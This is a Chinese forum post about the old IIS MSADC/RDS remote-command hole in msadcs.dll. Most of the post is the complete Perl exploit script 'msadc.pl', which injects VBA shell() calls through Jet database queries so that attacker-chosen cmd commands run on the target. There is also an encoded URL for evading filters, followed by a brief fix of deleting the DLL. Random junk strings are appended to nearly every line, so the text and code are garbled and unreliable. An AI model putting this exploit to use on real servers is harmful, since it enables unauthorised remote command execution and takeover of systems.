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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) [\=1|t5n~  
^C;ULUn3  
涉及程序: |43Oc:Ah+  
Microsoft NT server i \@a&tw  
D*ZswHT{y  
描述: #}[NleTVt  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 U+ V yH4"  
Lo}zT-F  
详细: iL'j9_w,  
如果你没有时间读详细内容的话,就删除: ;6*$!^*w  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ne=CN!=  
有关的安全问题就没有了。 Bu4@FIK!C  
A#]78lR  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 Xkf|^-n  
u3IhB8'  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 "nU] 2  
关于利用ODBC远程漏洞的描述,请参看: ^[b DE0  
"fu@2y4^  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm @Z Dd(xB&  
i.e4<|{  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 I\|.WrMNi  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp cPX^4d~9  
mH )i  
这里不再论述。 Lg|]|,%e  
SxL/]jWR7  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: :13u{5:th  
18> v\Hi<  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset K8h\T4  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! W?du ]  
F:LrQu  
[$Jsel<T=  
#将下面这段保存为txt文件,然后: "perl -x 文件名" |]b,% ?,U  
fRp(&%8E  
#!perl X5=I{eY}  
# RJdijj  
# MSADC/RDS 'usage' (aka exploit) script vHb^@z=  
# [iC]Wh%  
# by rain.forest.puppy WLCr~r^  
# 5X:3'*  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me W4)bEWO+q  
# beta test and find errors! yn.[-  
TpxAp',#7  
use Socket; use Getopt::Std; u"DE?  
getopts("e:vd:h:XR", \%args); CM)V^k*  
<>V~  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; Fp>nu_-"  
LXf|n  
if (!defined $args{h} && !defined $args{R}) { }|l7SFst  
print qq~ 0KjCM4t  
Usage: msadc.pl -h <host> { -d <delay> -X -v } }U|Vpgd!  
-h <host> = host you want to scan (ip or domain) C4gzg  
-d <seconds> = delay between calls, default 1 second ~Jlq.S'  
-X = dump Index Server path table, if available =:\5*  
-v = verbose SA?1*dw)  
-e = external dictionary file for step 5 ]N:Wt2  
E|W7IgS  
Or a -R will resume a command session N\Ab0mDOV.  
z</^qy  
~; exit;} `k(m2k ?  
kv<(N  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; As j<u!L  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} "_:6v64Gx  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} yh.WTgcW  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); K+Pa b ?  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} Wlp`D  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } \ZBz]rh*  
\xmDkWzE  
if (!defined $args{R}){ $ret = &has_msadc; _AH_<Z(  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} {8,_[?H  
Pav  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" SZvC4lOn#  
. "cmd /c "; GZm=>!T  
$in=<STDIN>; chomp $in; sY?sQ'E2]  
$command="cmd /c " . $in ; =]1g*~%  
tMyMA}`  
if (defined $args{R}) {&load; exit;} }$s QmR R  
gZ=$bR  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; t|*UlTLm  
&try_btcustmr; G^#? ~  
o8S P#ET"n  
print "\nStep 2: Trying to make our own DSN..."; \p!m/2  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; TW=N+ye^1(  
{,= hIXo>  
print "\nStep 3: Trying known DSNs..."; %Lq}5zB  
&known_dsn; ypx`!2Q$  
olK*uD'`  
print "\nStep 4: Trying known .mdbs..."; >S%}HSPKq  
&known_mdb; <}F(G-kV6  
)M8@|~~  
if (defined $args{e}){ ,Bj]j -\Y  
print "\nStep 5: Trying dictionary of DSN names..."; vgi`.hk  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } .I%B$eH  
juxAyds  
print "Sorry Charley...maybe next time?\n"; cG4}daK]d  
exit; ~w(A3I.  
W >|'4y)  
############################################################################## !$<Kp6  
o5G]|JM_  
sub sendraw { # ripped and modded from whisker *p|->p6,u  
sleep($delay); # it's a DoS on the server! At least on mine... $SfY<j,R  
my ($pstr)=@_; c*R18,5-  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ?\zyeWK0L  
die("Socket problems\n"); [~?6jnp  
if(connect(S,pack "SnA4x8",2,80,$target)){ bG+Gg*0p  
select(S); $|=1; qBZ;S3  
print $pstr; my @in=<S>; LN9.Q'@r?  
select(STDOUT); close(S); "@rHGxK  
return @in; ".?y!VY  
} else { die("Can't connect...\n"); }} \U'*B}Sz  
u(JuU/U  
############################################################################## o%K1!'  
6` 3kNk;  
sub make_header { # make the HTTP request _:JV-lM  
my $msadc=<<EOT wd1>L) T  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 SRrp= >w?  
User-Agent: ACTIVEDATA  nWUau:%  
Host: $ip epcvwM/A  
Content-Length: $clen muO;g&  
Connection: Keep-Alive ^tVIPH.R  
?28)l 4 Ml  
ADCClientVersion:01.06 In*0.   
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 {fMo#`9=  
=.,XJIw&  
--!ADM!ROX!YOUR!WORLD! :)Da^V  
Content-Type: application/x-varg @Y#TWt#  
Content-Length: $reqlen :^]Fp UY  
^b*ub(5Ot  
EOT am/D$ (l1  
; $msadc=~s/\n/\r\n/g; xFyBF[c  
return $msadc;} UN:cRH{?*  
HN<e)E38  
############################################################################## ?yA 2N;  
N<QLvZh  
sub make_req { # make the RDS request WrR8TYq9D]  
my ($switch, $p1, $p2)=@_; ~}Z{hs)  
my $req=""; my $t1, $t2, $query, $dsn; B&}lYo  
@FN1o4&3  
if ($switch==1){ # this is the btcustmr.mdb query iu{QHjZK(  
$query="Select * from Customers where City=" . make_shell(); rEs!gGNN  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . {wD "|K  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} F0'8n6zj  
lT'V=,Y t  
elsif ($switch==2){ # this is general make table query ;9qwB  
$query="create table AZZ (B int, C varchar(10))"; !0cb f&^:  
$dsn="$p1";} 5'EoB^`8N~  
yaAg!mW  
elsif ($switch==3){ # this is general exploit table query jjg&C9w T  
$query="select * from AZZ where C=" . make_shell(); ,fj~BkW{  
$dsn="$p1";} T? ,Q=.  
3) XS^WG  
elsif ($switch==4){ # attempt to hork file info from index server ca%XA|_J  
$query="select path from scope()"; .GFKy  
$dsn="Provider=MSIDXS;";} ,|w,  
:BblH0'  
elsif ($switch==5){ # bad query M$3/jl*#}  
$query="select"; KCn#*[  
$dsn="$p1";} ,_:6qn{  
VGOdJ|2]Wr  
$t1= make_unicode($query); 8,:lw3x1  
$t2= make_unicode($dsn); %gTY7LIe1z  
$req = "\x02\x00\x03\x00"; I!.-}]k  
$req.= "\x08\x00" . pack ("S1", length($t1)); 7Q aZ|\c  
$req.= "\x00\x00" . $t1 ; A$TF a:O|  
$req.= "\x08\x00" . pack ("S1", length($t2)); Ua+Us"M3}  
$req.= "\x00\x00" . $t2 ; >8injW3 52  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";  8vUq8[[  
return $req;} Ljk0K3Q6>  
GA.cp*2 ~  
############################################################################## Vtk}>I@%  
bW zUWLa  
sub make_shell { # this makes the shell() statement _F jax  
return "'|shell(\"$command\")|'";} (KR.dxzjf  
M,SIs 3  
############################################################################## ^!SwY_>  
qx}*L'xB  
sub make_unicode { # quick little function to convert to unicode !1P<A1K  
my ($in)=@_; my $out; t0)hd X  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } Ev&aD  
return $out;} ^1XnnQa  
C3; d.KlV  
############################################################################## R#/0}+-M  
7[8d-Sf24{  
sub rdo_success { # checks for RDO return success (this is kludge) g]._J  
my (@in) = @_; my $base=content_start(@in); 5 ~"m$/yE  
if($in[$base]=~/multipart\/mixed/){ ZMch2 U8  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 3UJSK+d\  
return 0;} dV"Kx  
&I/C^/F&  
############################################################################## i.+#a2   
>  !WFY  
sub make_dsn { # this makes a DSN for us 5ma~Pjt8}  
my @drives=("c","d","e","f"); hy@e(k|S]U  
print "\nMaking DSN: "; g+=f=5I3  
foreach $drive (@drives) { @T{I;8S  
print "$drive: "; 2X=*;r"{J  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . vFK(Dx  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 1(4IcIR5T;  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); ^2mCF  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; \X;)Kt"  
return 0 if $2 eq "404"; # not found/doesn't exist %UCuI9  
if($2 eq "200") { Fw6x (j"  
foreach $line (@results) { _i0,?U2C  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} s?&UFyYb,  
} return 0;} </qli-fXB}  
J8h H#7WMS  
############################################################################## 1@Rl^ey  
2}.EFQp+  
sub verify_exists { ]ov"&,J  
my ($page)=@_; RaB%N$.9s  
my @results=sendraw("GET $page HTTP/1.0\n\n"); BEii:05  
return $results[0];}  !:|D[1m  
S&~;l/  
############################################################################## 0,m@BsK  
AkBEE  
sub try_btcustmr { Yn-;+ 4 K  
my @drives=("c","d","e","f"); |A:+[35  
my @dirs=("winnt","winnt35","winnt351","win","windows"); "@&I*1&  
g=kuM  
foreach $dir (@dirs) { L(3} H,t  
print "$dir -> "; # fun status so you can see progress 9jrlB0  
foreach $drive (@drives) { wTVd){q`.  
print "$drive: "; # ditto t8S,C4  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; S d]`)  
$reqlenlen=length( "$reqlen" ); }U$p[Gi<  
$clen= 206 + $reqlenlen + $reqlen; (s!cd]Qa.  
B6]M\4v  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); y3mJO[U0 a  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 9 X87"  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} oz\r0:  
liVj-*m  
############################################################################## @4j!M1} 4  
ziD+% -  
sub odbc_error { YDiru  
my (@in)=@_; my $base; hkR Jqta)  
my $base = content_start(@in); SWMi+)  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this qISzn04  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;  ?r(Bu  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 8f-B-e?k  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; RQd5Q.  
return $in[$base+4].$in[$base+5].$in[$base+6];} __,}/|K2  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; @m ?&7{y#?  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . O:te;lQ K  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} Xq.G vZS`  
A*+KlhT  
############################################################################## 8J+:5b_?  
9rQw~B<S  
sub verbose { ^+Stvj:N  
my ($in)=@_; ;NrU|g/ksX  
return if !$verbose; l|~SVk|  
print STDOUT "\n$in\n";} x-ZCaa}O  
c!>",rce  
############################################################################## T\$r|  
Ih5F\eM  
sub save { MNsgD3  
my ($p1, $p2, $p3, $p4)=@_; Ed&M  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ;p2a .P  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 4Awl  
close OUT;} -$5nqaK?  
? Glkhf7(  
############################################################################## GbbD)  
aG/L'weR  
sub load { aT%6d@g  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 4Nz]LK%@  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); \J3n[6;  
@p=<IN>; close(IN); naWW i]9  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); zrCQEQq  
$target= inet_aton($ip) || die("inet_aton problems"); gAViwy9{  
print "Resuming to $ip ..."; >&2n\HR\  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; %^66(n)  
if($p[1]==1) { 9Y-6e0B:  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; RF.8zea{O`  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; @;H1s4OZ  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); P :D6w){  
if (rdo_success(@results)){print "Success!\n";} 5nJmabw3  
else { print "failed\n"; verbose(odbc_error(@results));}} Xu#K<#V  
elsif ($p[1]==3){ tD !$!\`O  
if(run_query("$p[3]")){ ]h0K*{  
print "Success!\n";} else { print "failed\n"; }} 9='=wWW  
elsif ($p[1]==4){ jCv%[H7  
if(run_query($drvst . "$p[3]")){ qox31pnS  
print "Success!\n"; } else { print "failed\n"; }} %y}l^P5z  
exit;} >6zXr.  
a76`"(W  
############################################################################## Hze~oAP+  
]R  s  
sub create_table { h> A}vI*:  
my ($in)=@_; c<j  +"  
$reqlen=length( make_req(2,$in,"") ) - 28; .f]2%utHB  
$reqlenlen=length( "$reqlen" ); yu] nK-Y7S  
$clen= 206 + $reqlenlen + $reqlen; !^<%RT9@|  
my @results=sendraw(make_header() . make_req(2,$in,"")); aw8q}:  
return 1 if rdo_success(@results); ia}V8i  
my $temp= odbc_error(@results); verbose($temp); |qTS{qQh{L  
return 1 if $temp=~/Table 'AZZ' already exists/; 7ZRLSq'S  
return 0;} {QRrAi  
I4"U/iL51  
############################################################################## QnNddCiu=  
p6e9mSs  
sub known_dsn { X[ up$<  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go $S _VR  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", a4iq_F#NF  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 4P\?vz"  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); .8.LW4-ff  
vD*9b.*  
foreach $dSn (@dsns) { G.#sX  
print "."; \@i4im@%xU  
next if (!is_access("DSN=$dSn")); dF/HKBJ  
if(create_table("DSN=$dSn")){ 4Sxt<7[f  
print "$dSn successful\n"; woCFkO;'O  
if(run_query("DSN=$dSn")){ L 2:N@TP  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { RTR@p =ck  
print "Something's borked. Use verbose next time\n";}}} print "\n";} )w3HC($g  
5L8)w5   
##############################################################################  zL,B?  
Us*"g{PQ  
sub is_access { EZvf\s>LT  
my ($in)=@_; qkbxa?&X  
$reqlen=length( make_req(5,$in,"") ) - 28; )0W-S9e<  
$reqlenlen=length( "$reqlen" ); urK[v  
$clen= 206 + $reqlenlen + $reqlen; =-U8^e_Y  
my @results=sendraw(make_header() . make_req(5,$in,"")); YKT=0   
my $temp= odbc_error(@results); IJt8 * cw  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); Z#P:C":e  
return 0;} -N]%) Hy  
l /\n7:  
############################################################################## 4]$$ar)  
iCrLZ" $M  
sub run_query { ?H2{R:  
my ($in)=@_; h (1 }g/  
$reqlen=length( make_req(3,$in,"") ) - 28; 1-M\K^F  
$reqlenlen=length( "$reqlen" ); \P` mV9P  
$clen= 206 + $reqlenlen + $reqlen; aV'r oxM  
my @results=sendraw(make_header() . make_req(3,$in,"")); 2PSt*(  
return 1 if rdo_success(@results); [C"[#7  
my $temp= odbc_error(@results); verbose($temp);  H*]B7?S  
return 0;} `K^j:fE7n  
%[9d1F 3  
############################################################################## L)Iv] u  
V!94I2%#x  
sub known_mdb { 4dwG6-  
my @drives=("c","d","e","f","g"); lZa L=HS#L  
my @dirs=("winnt","winnt35","winnt351","win","windows"); c/q -WEKL  
my $dir, $drive, $mdb; 0=^A{V!m  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; M >BcYbXf  
7CKh?>  
# this is sparse, because I don't know of many m"CsJ'\ors  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 4pfv?!Oj  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 3\Ma)\>R\-  
"\\system32\\certmdb.mdb", [Q=NGHB1/  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% IfdgMELk  
N$i|[>`j  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", `>mT/Rmb@  
"\\cfusion\\cfapps\\forums\\forums_.mdb", LYv$U;*+  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", tb@&!a$`?  
"\\cfusion\\cfapps\\security\\realm_.mdb", .;&1"b8G  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", lrXi *u]  
"\\cfusion\\database\\cfexamples.mdb", UFox v)  
"\\cfusion\\database\\cfsnippets.mdb", tL!R^Tf  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", CQ+WBTiC  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ZV; lr Vv  
"\\cfusion\\brighttiger\\database\\cleam.mdb", (t\ F>A  
"\\cfusion\\database\\smpolicy.mdb", n 7Bua  
"\\cfusion\\database\cypress.mdb", 2}^fhMS  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", yA/b7x-c  
"\\website\\cgi-win\\dbsample.mdb", ,,-g*[/3  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", H[a1n' "<:  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" "7*cF>FE8  
); #these are just Mk-Rl  
foreach $drive (@drives) { B.-1wZl  
foreach $dir (@dirs){ i!!1^DMrw  
foreach $mdb (@sysmdbs) { Nd"4*l;  
print "."; cF7efs8u  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ %;Dp~T`0  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 7Q(5Nlfcz  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 7Q>*]  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; X~ AE??  
} else { print "Something's borked. Use verbose next time\n"; }}}}} A $9^JF0$  
c8'! >#$  
foreach $drive (@drives) { D6KYkN(,v  
foreach $mdb (@mdbs) { Gg3cY{7  
print "."; ~HH#aXh*  
if(create_table($drv . $drive . $dir . $mdb)){ n2JwZ?  
print "\n" . $drive . $dir . $mdb . " successful\n"; uD2v6x236  
if(run_query($drv . $drive . $dir . $mdb)){ n' \poB?  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; DhL]\ 4  
} else { print "Something's borked. Use verbose next time\n"; }}}} '01ifA^  
} ,KMt9 <  
%S<0l@=5`l  
############################################################################## _Co*"hl>2  
JDyP..Dt  
sub hork_idx { A{ :PpYs  
print "\nAttempting to dump Index Server tables...\n"; )9L:^i6  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ?y\gjC6CNG  
$reqlen=length( make_req(4,"","") ) - 28; `~bnshUk  
$reqlenlen=length( "$reqlen" ); $ 'B0ZL  
$clen= 206 + $reqlenlen + $reqlen; *[(}rpp M  
my @results=sendraw2(make_header() . make_req(4,"","")); y3 R+060\3  
if (rdo_success(@results)){ L;7x2&  
my $max=@results; my $c; my %d; T-: @p>  
for($c=19; $c<$max; $c++){ @@,l0/  
$results[$c]=~s/\x00//g; 1HF=,K+  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; g?'4G$M  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; c:/ H}2/C  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; >^8=_i !  
$d{"$1$2"}="";} =c-,uW11[  
foreach $c (keys %d){ print "$c\n"; } 1?6;Oc^  
} else {print "Index server doesn't seem to be installed.\n"; }} [HKTXF{n  
f\ wP}c'  
############################################################################## <4gT8 kQ$x  
.."=  
sub dsn_dict { D=w5Lks  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); _oB!-#  
while(<IN>){ w+P?JR!)+  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; )>]~Y  
next if (!is_access("DSN=$dSn")); Wb_'X |"u  
if(create_table("DSN=$dSn")){ Wgt[ACioN  
print "$dSn successful\n"; OIuEC7XM^C  
if(run_query("DSN=$dSn")){ O43emL3  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { #)aUKFX  
print "Something's borked. Use verbose next time\n";}}} iI2 7N'g  
print "\n"; close(IN);} ;$Eg4uX  
@w)Vt $+b]  
############################################################################## 1CkBfK  
0i[,`>-Av  
sub sendraw2 { # ripped and modded from whisker /e^q>>z  
sleep($delay); # it's a DoS on the server! At least on mine... XNwZSW  
my ($pstr)=@_; Ix;9D'^}  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || W?5u O  
die("Socket problems\n"); N{}XHA  
if(connect(S,pack "SnA4x8",2,80,$target)){ f_*Bd.@  
print "Connected. Getting data"; #|\NG  
open(OUT,">raw.out"); my @in; ~Bll\3-=  
select(S); $|=1; print $pstr; BcMgfa/  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} .e $W(}  
close(OUT); select(STDOUT); close(S); return @in; i)Hjmf3  
} else { die("Can't connect...\n"); }} $nB4Ie!WcR  
y{.s 4NT  
############################################################################## %<|w:z$vp  
Jl-Lz03YG  
sub content_start { # this will take in the server headers mCa [?  
my (@in)=@_; my $c; }{J5)\s9  
for ($c=1;$c<500;$c++) { l .8@F  
if($in[$c] =~/^\x0d\x0a/){ 6dG:3n}  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ##gq{hgjb$  
else { return $c+1; }}} u? a*bW  
return -1;} # it should never get here actually JmJ8s hq  
J1waiOh  
############################################################################## Oy :;v7  
"T`Q,  
sub funky { xwZcO  
my (@in)=@_; my $error=odbc_error(@in); H'fmQf  
if($error=~/ADO could not find the specified provider/){ a9CY,+ z5B  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; XwKB+Yj0  
exit;} r sf +dC  
if($error=~/A Handler is required/){ ]V,wIy C  
print "\nServer has custom handler filters (they most likely are patched)\n"; ^f:oKKaAW;  
exit;} @z8,XW }  
if($error=~/specified Handler has denied Access/){ (x{6N^J.t  
print "\nServer has custom handler filters (they most likely are patched)\n"; RR u1/nam  
exit;}} 1LbJR'}  
/bE=]nM  
############################################################################## }H!l@  
T}ZUw;}BL  
sub has_msadc { b~khb!]  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 481SDG[b  
my $base=content_start(@results); _5F8F4QY`  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 0XCtw6  
return 0;} $ e<&7  
i ez@j  
######################## -^m]Tb<u  
29(s^#e8A  
H pHXt78  
解决方案:  FSaCbs(  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll VCzmTnD  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 & 5!.!Z3  
&tT*GjPwg;  
拿出来充数 哈哈
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